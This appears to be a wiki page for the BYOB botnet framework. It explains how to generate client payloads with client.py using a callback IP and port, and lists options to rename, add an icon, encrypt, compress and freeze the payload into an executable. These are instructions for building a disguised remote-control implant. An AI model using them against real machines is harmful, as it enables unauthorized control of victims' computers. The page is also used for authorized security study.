-
-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Generating a Payload
- Open up a terminal, or a command prompt, and navigate to your BYOB folder (ex.
cd desktop/byob-master/byob)
- The syntax is
python client.py YourIp YourPort
- A simple command to generate a payload would be
python client.py 192.168.1.1 8080where our external ip address is 192.168.1.1 and the port we wish to use is 8080
- You must use the same port to start the server and generate the payload
-
--helpShows a help message and exits (ex.python client.py --help) -
--nameAssigns a name to the payload (ex.python client.py --name ThisIsTheNameOfThePayload 192.168.1.1 8080) -
--iconupload image to file name (ex.python client.py --icon IconNameHere 192.168.1.1 8080) -
--encryptEncrypt the payload with a random 128-bit key embedded in the payload's stager (ex.python server.py --encrypt 192.168.1.1 8080) -
--compressZip-compress into a self-extracting python script (ex.python server.py --compress 192.168.1.1 8080) -
--freezecompile client into a standalone executable for the current host platform (ex.python client.py --freeze 192.168.1.1 8080) -
--versionshow program's version number and exit (ex.python client.py --version 192.168.1.1 8080) -
If you wish to use multiple parameters simply add them after each other separated by a space (ex.
python client.py --name TestBot --encrypt --compress --freeze 192.168.1.1 8080)
- Select one or more modules to remotely import at run-time
- The syntax is
python client.py YourIp YourPort module YourChoiceOfModule
- Generate a basic Python payload:
python client.py 192.168.1.1 8080where our external IP address is 192.168.1.1, the port we wish to use is 8080 - Generate an encrypted and compressed Python payload:
python client.py 192.168.1.1 8080 --encrypt --compresswhere our external ip address is 192.168.1.1, the port we wish to use is 8080 - Generate a binary executable payload:
python client.py 192.168.1.1 8080 --freezewhere our external ip address is 192.168.1.1, the port we wish to use is 8080.